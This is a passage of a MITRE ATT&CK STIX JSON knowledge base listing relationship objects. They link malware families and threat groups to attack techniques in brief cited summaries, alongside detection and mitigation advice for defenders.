"description": "[RTM](https://attack.mitre.org/software/S0148) can scan victim drives to look for specific banking software on the machine to determine next actions.(Citation: ESET RTM Feb 2017)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f60f8552-3c43-4b43-ad23-2b00b6172b00", "type": "relationship", "created": "2020-08-13T16:51:23.474Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Hancitor", "url": "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html", "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}], "modified": "2020-09-02T19:54:01.155Z", "description": "[Hancitor](https://attack.mitre.org/software/S0499) has used a macro to check that an ActiveDocument shape object in the lure message is present. If this object is not found, the macro will exit without downloading additional payloads.(Citation: FireEye Hancitor)", "relationship_type": "uses", "source_ref": "malware--ef2247bf-8062-404b-894f-d65d00564817", "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f6127058-7b4b-4277-b9d1-860595bba0f3", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T21:54:45.171Z", "description": "Monitor executed commands and arguments that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f612ed23-f9c3-4527-b23a-3361f90f5fe1", "created": "2022-06-03T16:12:03.241Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: SecureWorks August 2019)", "modified": "2022-06-03T16:12:03.241Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f619f10a-a579-49a6-a64f-80be117eea94", "created": "2024-03-13T19:19:17.313Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 3 February 2024", "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-13T19:34:26.129Z", "description": "[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) can check the type of Ivanti VPN device it is running on by executing `first_run()` to identify the first four bytes of the motherboard serial number.(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "malware--19256855-65e9-48f2-8b74-9f3d0a994428", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f623affb-f6e8-4c32-a44f-8835fff92c59", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Gorgon Group Aug 2018", "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}], "modified": "2021-02-09T14:24:38.228Z", "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used macros in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s as well as executed VBScripts on victim machines.(Citation: Unit 42 Gorgon Group Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6242361-3056-49da-8e2a-82e1e893b039", "type": "relationship", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.856Z", "description": "Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the deletion of multiple snapshots within a short period of time. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "source_ref": "x-mitre-data-component--16e07530-764b-4d83-bae0-cdbfc31bf21d", "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6247612-3255-44eb-860f-e882ee1f36f6", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 VERMIN Jan 2018", "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}], "modified": "2020-03-16T19:50:57.948Z", "description": "[VERMIN](https://attack.mitre.org/software/S0257) can get a list of the processes and running tasks on the system.(Citation: Unit 42 VERMIN Jan 2018)", "relationship_type": "uses", "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f624a474-a667-4305-bf2a-dabecaa97580", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malware Archaeology PowerShell Cheat Sheet", "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"}]}, {"type": "relationship", "id": "relationship--f62b29cb-b483-41b3-9724-ab7a376dd2c6", "created": "2022-09-20T15:05:56.867Z", "revoked": false, "external_references": [{"source_name": "Talos Frankenstein June 2019", "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.", "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-20T15:05:56.867Z", "description": "[Empire](https://attack.mitre.org/software/S0363) can enumerate the username on targeted hosts.(Citation: Talos Frankenstein June 2019)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f630f321-d227-414b-9272-fe19268779e0", "type": "relationship", "created": "2020-10-02T16:42:42.607Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-02T16:42:42.607Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884", "target_ref": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f6326754-74dc-46fc-b8e4-f8b1e5919c9d", "created": "2022-03-30T14:26:51.873Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor and analyze network flows associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider analyzing newly constructed network connections that are sent or received by untrusted hosts, unexpcted hardware devices, or other uncommon data flows.", "modified": "2022-04-12T13:16:29.985Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f635daec-033b-4d91-afa6-4a6f44f9dddb", "created": "2022-06-24T13:52:25.664Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Zscaler Lyceum DnsSystem June 2022", "url": "https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor", "description": "Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has set up custom DNS servers to send commands to compromised hosts via TXT records.(Citation: Zscaler Lyceum DnsSystem June 2022)", "modified": "2022-06-24T13:52:25.664Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f638cb6d-d725-444f-93f9-02f49b4d9383", "created": "2019-01-30T15:38:21.294Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT1 Appendix", "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", "url": "https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-26T19:55:54.862Z", "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to launch a command shell on the system.(Citation: Mandiant APT1 Appendix)", "relationship_type": "uses", "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f63970b4-a3fd-4fc9-8685-2baf0ff6ffff", "type": "relationship", "created": "2020-10-20T19:26:05.603Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco IOS Software Integrity Assurance - AAA", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#38", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - AAA. Retrieved October 19, 2020."}], "modified": "2021-07-26T15:57:50.897Z", "description": "Use of Authentication, Authorization, and Accounting (AAA) systems will limit actions users can perform and provide a history of user actions to detect unauthorized use and abuse. Ensure least privilege principles are applied to user accounts and groups so that only authorized users can perform configuration changes. (Citation: Cisco IOS Software Integrity Assurance - AAA)", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f64733fd-acc7-4570-90ee-79c117c37d7e", "type": "relationship", "created": "2020-04-28T12:47:25.946Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos PoetRAT April 2020", "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}], "modified": "2020-04-28T14:37:51.446Z", "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to compress files with zip.(Citation: Talos PoetRAT April 2020)", "relationship_type": "uses", "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f649505a-555f-4939-980e-916a511c3134", "created": "2022-06-02T13:27:56.406Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cisco Talos Bitter Bangladesh May 2022", "url": "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", "description": "Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ZxxZ](https://attack.mitre.org/software/S1013) has used a XOR key to decrypt strings.(Citation: Cisco Talos Bitter Bangladesh May 2022)", "modified": "2022-06-02T13:27:56.406Z", "relationship_type": "uses", "source_ref": "malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f64acb43-91b8-431a-ad0a-ad22afe5851a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf", "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", "source_name": "Symantec W32.Duqu"}], "modified": "2019-04-24T23:18:53.184Z", "description": "[Duqu](https://attack.mitre.org/software/S0038) is capable of loading executable code via process hollowing.(Citation: Symantec W32.Duqu)", "relationship_type": "uses", "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6514d17-d599-4a45-93b2-a80b4aa39dde", "type": "relationship", "created": "2020-01-31T12:36:39.323Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-31T12:36:39.323Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f651bc78-e055-4237-88f5-1e1978c13647", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor for API calls that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f653eb7d-7027-4161-9071-b52336bd4fbc", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye WMI 2015", "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"}], "modified": "2020-03-17T02:33:06.632Z", "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses an event filter in WMI code to execute a previously dropped executable shortly after system startup.(Citation: FireEye WMI 2015)", "relationship_type": "uses", "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6557436-3564-4128-b93e-2c246ec00834", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TYPEFRAME June 2018", "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}], "modified": "2020-03-17T13:49:31.113Z", "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can delete files off the system.(Citation: US-CERT TYPEFRAME June 2018)", "relationship_type": "uses", "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f655e6a0-431c-4996-859d-2e1952f26d2e", "type": "relationship", "created": "2020-10-02T16:01:35.489Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-02T16:01:35.489Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413", "target_ref": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f661bda3-d524-44b3-aeb0-d8dd8879a569", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html", "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", "source_name": "FireEye Clandestine Fox"}], "modified": "2019-04-29T18:01:20.287Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can copy files to remote machines.(Citation: FireEye Clandestine Fox)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f66247c0-1d4b-475b-8336-04530edb1455", "type": "relationship", "created": "2021-02-08T23:18:31.879Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Indrik November 2018", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. 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Retrieved December 18, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Industroyer](https://attack.mitre.org/software/S0604) has a data wiper component that enumerates keys in the Registry <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services</code>.(Citation: ESET Industroyer)", "modified": "2022-06-30T20:16:53.768Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e401d4fe-f0c9-44f0-98e6-f93487678808", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6cb3957-be7f-41bf-ad44-3dfbd7a5dfe2", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Reaver Nov 2017", "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}], "modified": "2020-03-17T02:22:51.842Z", "description": "[Reaver](https://attack.mitre.org/software/S0172) collects the victim's IP address.(Citation: Palo Alto Reaver Nov 2017)", "relationship_type": "uses", "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6cd8be3-3145-4088-ae9d-d006be865c01", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", "source_name": "FireEye APT33 Sept 2017"}, {"description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "source_name": "Symantec Elfin Mar 2019"}], "modified": "2020-03-12T00:31:59.960Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has lured users to click links to malicious HTML applications delivered via spearphishing emails.(Citation: FireEye APT33 Sept 2017)(Citation: Symantec Elfin Mar 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6cf6ad8-7a42-4cf5-82ab-45d6a5107aeb", "type": "relationship", "created": "2020-06-10T21:56:40.084Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Telebots Dec 2016", "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}], "modified": "2020-06-22T15:45:19.153Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used a tool to query Active Directory using LDAP, discovering information about usernames listed in AD.(Citation: ESET Telebots Dec 2016)\t", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f6d0705a-e4a5-4aae-a8a3-b1c2b7287469", "type": "relationship", "created": "2019-02-18T20:33:58.973Z", "created_by_ref": 